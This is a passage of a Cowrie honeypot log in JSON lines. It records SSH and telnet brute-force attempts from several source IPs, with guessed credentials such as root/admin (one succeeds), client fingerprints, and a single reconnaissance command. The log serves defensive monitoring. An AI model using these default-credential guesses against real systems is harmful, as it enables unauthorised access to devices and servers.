-\\xc3\\xdcq\\xf1\\xdf\\xdd\\x8b\\x97\\xdb\\xfc\\xd73,\\xabz\\xcb\\xcd\\x0c\\xe6c/\\x81\\x89\\x8fGM\\xa9\\xb6\\x99\\xd9?\\x00\\x8a\\x00\\x16\\x003\\x00g\\xc0\\x9e\\xc0\\xa2\\x00\\x9e\\x009\\x00k\\xc0\\x9f\\xc0\\xa3\\x00\\x9f\\x00E\\x00\\xbe\\x00\\x88\\x00\\xc4\\x00\\x9a\\xc0\\x08\\xc0\\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0'/b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\"] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:50.467831Z","src_ip":"195.184.76.85","session":"16b64c72bb88","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f134.199.244.163\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'","password":"\u0000\f\u0000","message":"login attempt [b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f134.199.244.163\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'/\u0000\f\u0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:50.471846Z","src_ip":"195.184.76.85","session":"16b64c72bb88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.021364688873291016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:50.483478Z","src_ip":"195.184.76.85","session":"16b64c72bb88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.184.76.86","src_port":60649,"dst_ip":"10.17.0.5","dst_port":23,"session":"3226e04e866a","protocol":"telnet","message":"New connection: 195.184.76.86:60649 (10.17.0.5:23) [session: 3226e04e866a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:50.490491Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:50.736901Z","src_ip":"45.153.34.112","session":"5cf93eb04c8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.03344655036926,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:51.017941Z","src_ip":"192.119.13.58","session":"f85ed1e5c301","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":42462,"dst_ip":"10.17.0.5","dst_port":22,"session":"d46371569e43","protocol":"ssh","message":"New connection: 45.153.34.112:42462 (10.17.0.5:22) [session: d46371569e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:52.960706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:52.965565Z","src_ip":"45.153.34.112","session":"d46371569e43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:53.047173Z","src_ip":"45.153.34.112","session":"d46371569e43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:53.292546Z","src_ip":"45.153.34.112","session":"d46371569e43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.51455235481262,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:53.320065Z","src_ip":"192.119.13.58","session":"65f009171894","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.004768133163452,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:53.495179Z","src_ip":"195.184.76.86","session":"3226e04e866a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.762192249298096,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:53.831594Z","src_ip":"192.119.13.58","session":"514f715d4b11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.27119493484497,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:54.105338Z","src_ip":"192.119.13.58","session":"d5b49a5ac5bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:54.446805Z","src_ip":"45.153.34.112","session":"d46371569e43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.69713759422302,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:55.979064Z","src_ip":"192.119.13.58","session":"c84f5940dcdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":42478,"dst_ip":"10.17.0.5","dst_port":22,"session":"56b258414205","protocol":"ssh","message":"New connection: 45.153.34.112:42478 (10.17.0.5:22) [session: 56b258414205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:56.389231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:56.393956Z","src_ip":"45.153.34.112","session":"56b258414205","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:56.476416Z","src_ip":"45.153.34.112","session":"56b258414205","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:56.722980Z","src_ip":"45.153.34.112","session":"56b258414205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47250,"dst_ip":"10.17.0.5","dst_port":23,"session":"20bc9e241da7","protocol":"telnet","message":"New connection: 192.119.13.58:47250 (10.17.0.5:23) [session: 20bc9e241da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:56.804392Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:57.117745Z","src_ip":"45.153.34.112","session":"56b258414205","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:57.121704Z","src_ip":"45.153.34.112","session":"56b258414205","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:57.209147Z","src_ip":"45.153.34.112","session":"56b258414205","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:57.214324Z","src_ip":"45.153.34.112","session":"56b258414205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":45552,"dst_ip":"159.203.135.109","dst_port":22,"session":"f295b951d555","protocol":"ssh","message":"New connection: 77.94.47.83:45552 (159.203.135.109:22) [session: f295b951d555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:59.554914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:59.559638Z","src_ip":"77.94.47.83","session":"f295b951d555","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:59.688457Z","src_ip":"77.94.47.83","session":"f295b951d555","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33360,"dst_ip":"10.17.0.5","dst_port":22,"session":"14327a3432d7","protocol":"ssh","message":"New connection: 45.153.34.112:33360 (10.17.0.5:22) [session: 14327a3432d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:00.043819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:00.049209Z","src_ip":"45.153.34.112","session":"14327a3432d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"danil123","message":"login attempt [root/danil123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:00.072184Z","src_ip":"77.94.47.83","session":"f295b951d555","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:00.148726Z","src_ip":"45.153.34.112","session":"14327a3432d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33742,"dst_ip":"10.17.0.5","dst_port":23,"session":"b49b4c2b2ada","protocol":"telnet","message":"New connection: 192.119.13.58:33742 (10.17.0.5:23) [session: b49b4c2b2ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:00.156618Z"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:00.398707Z","src_ip":"45.153.34.112","session":"14327a3432d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:01.272468Z","src_ip":"77.94.47.83","session":"f295b951d555","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:01.485971Z","src_ip":"45.153.34.112","session":"14327a3432d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44818,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5a3c0fbeab5","protocol":"telnet","message":"New connection: 192.119.13.58:44818 (10.17.0.5:23) [session: c5a3c0fbeab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:02.696338Z"}
{"eventid":"cowrie.session.closed","duration":42.41015148162842,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:03.001427Z","src_ip":"192.119.13.58","session":"ea22f6aacfa9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33368,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8c6e8abcfc8","protocol":"ssh","message":"New connection: 45.153.34.112:33368 (10.17.0.5:22) [session: a8c6e8abcfc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:03.416896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:03.422221Z","src_ip":"45.153.34.112","session":"a8c6e8abcfc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:03.505557Z","src_ip":"45.153.34.112","session":"a8c6e8abcfc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:03.781624Z","src_ip":"45.153.34.112","session":"a8c6e8abcfc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:04.880012Z","src_ip":"45.153.34.112","session":"a8c6e8abcfc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54810,"dst_ip":"10.17.0.5","dst_port":23,"session":"057ddb08df2f","protocol":"telnet","message":"New connection: 192.119.13.58:54810 (10.17.0.5:23) [session: 057ddb08df2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:05.094068Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55256,"dst_ip":"10.17.0.5","dst_port":23,"session":"05ebc94a93b0","protocol":"telnet","message":"New connection: 192.119.13.58:55256 (10.17.0.5:23) [session: 05ebc94a93b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:05.215768Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56196,"dst_ip":"10.17.0.5","dst_port":23,"session":"c133a2ea1bb9","protocol":"telnet","message":"New connection: 192.119.13.58:56196 (10.17.0.5:23) [session: c133a2ea1bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:05.474397Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":43334,"dst_ip":"10.17.0.5","dst_port":22,"session":"3933b77c09dd","protocol":"ssh","message":"New connection: 43.173.122.127:43334 (10.17.0.5:22) [session: 3933b77c09dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:05.525027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:05.530282Z","src_ip":"43.173.122.127","session":"3933b77c09dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:05.603651Z","src_ip":"43.173.122.127","session":"3933b77c09dd","protocol":"ssh"}
